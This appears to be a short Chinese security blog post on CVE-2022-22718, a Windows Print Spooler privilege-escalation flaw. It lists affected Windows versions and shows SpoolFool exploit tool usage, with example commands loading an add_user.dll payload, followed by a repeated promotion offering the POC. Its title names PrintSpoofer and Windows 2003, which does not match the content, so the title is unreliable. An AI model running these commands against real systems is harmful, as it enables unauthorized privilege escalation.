printspoofer提权（win2003提权）

影响范围

• Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)

• Windows Server 2008 for x64-based Systems Service Pack 2

• Windows 7 for 32-bit Systems Service Pack 1

• Windows Server 2016 (Server Core installation)

• Windows Server 2016

• Windows 10 Version 1607 for x64-based Systems

• Windows 10 Version 1607 for 32-bit Systems

• Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)

• Windows Server 2008 for 32-bit Systems Service Pack 2

• Windows RT 8.1

• Windows 8.1 for x64-based systems

• Windows 8.1 for 32-bit systems

• Windows 7 for x64-based Systems Service Pack 1

• Windows 10 for x64-based Systems

• Windows 10 for 32-bit Systems

• Windows 10 Version 21H2 for x64-based Systems

• Windows 10 Version 21H1 for x64-based Systems

• Windows 10 Version 1909 for ARM64-based Systems

• Windows 10 Version 1909 for x64-based Systems

• Windows 10 Version 1909 for 32-bit Systems

• Windows Server 2012 R2 (Server Core installation)

• Windows Server 2012 R2

• Windows Server 2012 (Server Core installation)

• Windows Server 2012

• Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)

• Windows Server 2008 R2 for x64-based Systems Service Pack 1

• Windows 10 Version 21H2 for ARM64-based Systems

• Windows 10 Version 21H2 for 32-bit Systems

• Windows 11 for ARM64-based Systems

• Windows 11 for x64-based Systems

• Windows Server, version 20H2 (Server Core Installation)

• Windows 10 Version 20H2 for ARM64-based Systems

• Windows 10 Version 20H2 for 32-bit Systems

• Windows 10 Version 20H2 for x64-based Systems

• Windows Server 2022 Azure Edition Core Hotpatch

• Windows Server 2022 (Server Core installation)

• Windows Server 2022

• Windows 10 Version 21H1 for 32-bit Systems

• Windows 10 Version 21H1 for ARM64-based Systems

• Windows Server 2019 (Server Core installation)

• Windows Server 2019

• Windows 10 Version 1809 for ARM64-based Systems

• Windows 10 Version 1809 for x64-based Systems

• Windows 10 Version 1809 for 32-bit Systems

漏洞类型

本地权限提升

利用条件

影响范围应用

漏洞概述

2022年02月09日，微软发布了安全更新，修复了48个安全漏洞(不包括22个Microsoft Edge漏洞)，其中CVE-2022-22718为Windows后台打印程序特权提升漏洞，CVSS评分7.7

漏洞复现

使用说明：

PS C:\\\\SpoolFool> .\\\\SpoolFool.exe
SpoolFool  By Oliver Lyak (@ly4k_)
Examples:  C:\\\\SpoolFool\\\\SpoolFool.exe -dll add_user.dll  C:\\\\SpoolFool\\\\SpoolFool.exe -dll add_user.dll -printer \\\'My Printer\\\'  C:\\\\SpoolFool\\\\SpoolFool.exe -dll add_user.dll -dir \\\'SECRET\\\'  C:\\\\SpoolFool\\\\SpoolFool.exe -dll add_user.dll -printer \\\'My Printer\\\' -dir \\\'SECRET\\\'

powershell：

PS C:\\\\SpoolFool> ipmo .\\\\SpoolFool.ps1PS C:\\\\SpoolFool> Invoke-SpoolFool
SpoolFool  By Oliver Lyak (@ly4k_)
Examples:   -dll add_user.dll   -dll add_user.dll -printer \\\'My Printer\\\'   -dll add_user.dll -dir \\\'SECRET\\\'   -dll add_user.dll -printer \\\'My Printer\\\' -dir \\\'SECRET\\\'

安全建议

升级到最新版本~

后台回复\\”Print Spooler\\”，获取POC
后台回复\\”Print Spooler\\”，获取POC
后台回复\\”Print Spooler\\”，获取POC